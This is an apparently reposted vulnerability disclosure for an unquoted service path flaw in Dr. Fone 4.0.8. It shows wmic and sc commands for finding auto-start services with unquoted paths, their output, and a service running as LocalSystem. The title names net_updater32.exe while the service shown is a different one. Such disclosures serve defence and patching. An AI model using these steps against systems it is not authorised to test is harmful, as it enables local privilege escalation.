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Dr. Fone 4.0.8 net_updater32.exe Unquoted Service Path

CVE Category Price Severity
CVE-2021-43956 CWE-428 $5000 High
Author Risk Exploitation Type Date
Unknown Critical Local 2022-09-03
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022090005

Below is a copy:

Dr. Fone 4.0.8 net_updater32.exe Unquoted Service Path
# Exploit Title: Dr. Fone v4.0.8- 'net_updater32.exe' Unquoted Service Path
# Discovery Date: 2022-05-07
# Discovery by: Esant1490
# Vendor Homepage: https://drfone.wondershare.net
# Software Link : https://download.wondershare.net/drfone_full4008.exe
# Tested Version: 4.0.8
# Tested on OS: Windows 10 Pro x64 en
# Vulnerability Type: Unquoted Service Path

# Find the discover Unquoted Service Path Vulnerability:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "C:\Windows\\" |findstr /i /v """

Wondershare Install Assist Service Wondershare InstallAssist
C:\ProgramData\Wondershare\Service\InstallAssistService.exe Auto

Wondershare Application Framework Service WsAppService C:\Program Files
(x86)\Wondershare\WAF\2.4.3.243\WsAppService.exe Auto
Wondershare Application Update Service 3.0

WsAppService3 C:\Program Files
(x86)\Wondershare\WAF3\3.0.0.308\WsAppService3.exe Auto

Wondershare Driver Install Service WsDrvInst C:\Program Files
(x86)\Wondershare\drfone\Addins\Unlock\DriverInstall.exe Auto

# Service info:

C:\>sc qc WsDrvInst
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WsDrvInst
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Wondershare\drfone\Addins\Unlock\DriverInstall.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Wondershare Driver Install Service
DEPENDENCIAS : RPCSS
NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt to exploit this vulnerability could allow to execute
code during startup or reboot with the elevated privileges.

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